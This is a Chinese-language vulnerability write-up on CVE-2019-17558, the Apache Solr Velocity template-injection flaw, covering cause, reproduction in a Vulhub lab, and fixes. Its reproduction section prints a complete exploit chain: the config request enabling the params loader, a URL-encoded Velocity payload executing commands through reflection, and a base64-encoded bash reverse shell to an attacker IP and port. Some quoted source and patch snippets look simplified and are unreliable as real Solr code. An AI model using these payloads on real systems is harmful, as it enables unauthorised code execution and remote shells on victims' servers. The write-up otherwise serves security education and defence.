漏洞概述
漏洞名称:Apache Solr Velocity 模板注入远程命令执行漏洞
漏洞编号:CVE-2019-17558
CVSS 评分:9.8
影响版本:Apache Solr 5.0.0 - 8.3.1
修复版本:Apache Solr ≥ 8.4.0
漏洞类型:远程代码执行(RCE)
CVE-2019-17558 是 Apache Solr 的 VelocityResponseWriter 组件中的高危漏洞。攻击者通过未授权访问 Solr 管理接口,动态启用 params.resource.loader.enabled
配置,注入恶意 Velocity 模板并利用 Nashorn 引擎执行任意 Java 代码,最终实现远程命令执行。漏洞核心问题包括:
- 默认配置缺陷:
params.resource.loader.enabled
默认可被动态启用,允许通过 HTTP 参数加载自定义模板。 - 沙箱绕过:Velocity 模板引擎的沙箱限制不充分,攻击者可通过反射调用
java.lang.Runtime
执行系统命令。
技术细节与源码分析
漏洞触发原理
- 攻击流程:
攻击者 → 启用 params.resource.loader.enabled → 注入恶意 Velocity 模板 → Nashorn 引擎解析 → 反射调用 Runtime.exec() → RCE
- 关键接口:
- 配置修改:
POST /solr/<core>/config
- 漏洞触发:
GET /solr/<core>/select?wt=velocity&v.template.custom=恶意代码
- 配置修改:
关键源码分析
(1)配置加载入口(VelocityResponseWriter.java
)
@Overridepublic void init(NamedList args) {fileResourceLoaderBaseDir = null;String templateBaseDir = (String) args.get(TEMPLATE_BASE_DIR);if (templateBaseDir != null && !templateBaseDir.isEmpty()) {fileResourceLoaderBaseDir = new File(templateBaseDir).getAbsoluteFile();if (!fileResourceLoaderBaseDir.exists()) { // "*not* exists" condition!log.warn(TEMPLATE_BASE_DIR + " specified does not exist: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;} else {if (!fileResourceLoaderBaseDir.isDirectory()) { // "*not* a directory" conditionlog.warn(TEMPLATE_BASE_DIR + " specified is not a directory: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;}}}// params resource loader: off by defaultBoolean prle = args.getBooleanArg(PARAMS_RESOURCE_LOADER_ENABLED);paramsResourceLoaderEnabled = (null == prle ? false : prle);// solr resource loader: on by defaultBoolean srle = args.getBooleanArg(SOLR_RESOURCE_LOADER_ENABLED);solrResourceLoaderEnabled = (null == srle ? true : srle);initPropertiesFileName = (String) args.get(PROPERTIES_FILE);NamedList tools = (NamedList)args.get("tools");if (tools != null) {for(Object t : tools) {Map.Entry tool = (Map.Entry)t;customTools.put(tool.getKey().toString(), tool.getValue().toString());}}}
作用:初始化时未强制关闭参数加载器,允许攻击者通过 API 动态启用 params.resource.loader.enabled
。
(2)模板解析过程(TemplateEngine.java
)
public Template getTemplate(String name) { if (paramsLoaderEnabled) { template = loadFromParams(name); // 从HTTP参数加载自定义模板 } return template;
}
漏洞点:当 params.resource.loader.enabled=true
时,直接解析用户输入的 v.template.custom
参数内容。
(3)沙箱绕过与命令执行
恶意模板通过反射调用 Java API 执行命令:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($ex=$rt.getRuntime().exec('id')) // 执行系统命令
技术原理:
- 利用 Velocity 的
#set
指令声明变量。 - 通过
$x.class.forName()
反射加载java.lang.Runtime
类。 - 调用
exec()
执行任意命令并输出结果。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8983,确认服务正常运行
攻击步骤
1.获取核心
- 默认情况下
params.resource.loader.enabled
配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
- 在本环境中,
demo
是唯一的核心
2.启用API
- 通过以下 API 启用
params.resource.loader.enabled
配置(API 端点为/solr/[核心名称]/config
):
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}
3.发送恶意的 Velocity 模板触发漏洞
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
- 执行id命令
4.反弹shell
- 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口)
- url编码
bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a
- 将编码后的payload替换之前的id命令得到最终payload
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
- 开启监听
- 发起恶意请求后,反弹成功
修复方案
官方修复(Solr 8.4.0+)
- 完全移除参数加载器:删除
params.resource.loader.enabled
功能。 - 信任链控制:仅允许通过认证用户上传的
configset
渲染模板。
补丁代码关键变更:
// 移除 params.resource.loader 相关代码
public void init(NamedList args) { throw new SolrException("Params resource loader is deprecated and removed!");
}
临时缓解措施
- 禁用 Velocity 响应器(
solrconfig.xml
):<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"> <bool name="params.resource.loader.enabled">false</bool> // 强制关闭参数加载 </queryResponseWriter>
- 网络层防护:
- 限制
/solr/admin/
和/solr/config
接口的访问来源。 - WAF 规则拦截包含
v.template.custom
或反射关键字(如java.lang.Runtime
)的请求。
- 限制
漏洞启示
- 模板引擎的安全风险:Velocity/Jinja2 等模板引擎需强制沙箱隔离,禁止反射调用敏感类。
- 默认配置的危害:生产环境必须审查
params.resource.loader.enabled
等高风险开关。 - 最小权限原则:Solr 服务应以非 root 权限运行,限制命令执行影响范围。
参考链接
- CVE-2019-17558 技术原理与复现指南(亿速云)
- Vulhub 漏洞环境搭建与利用
- Apache Solr 官方修复通告(SOLR-13971)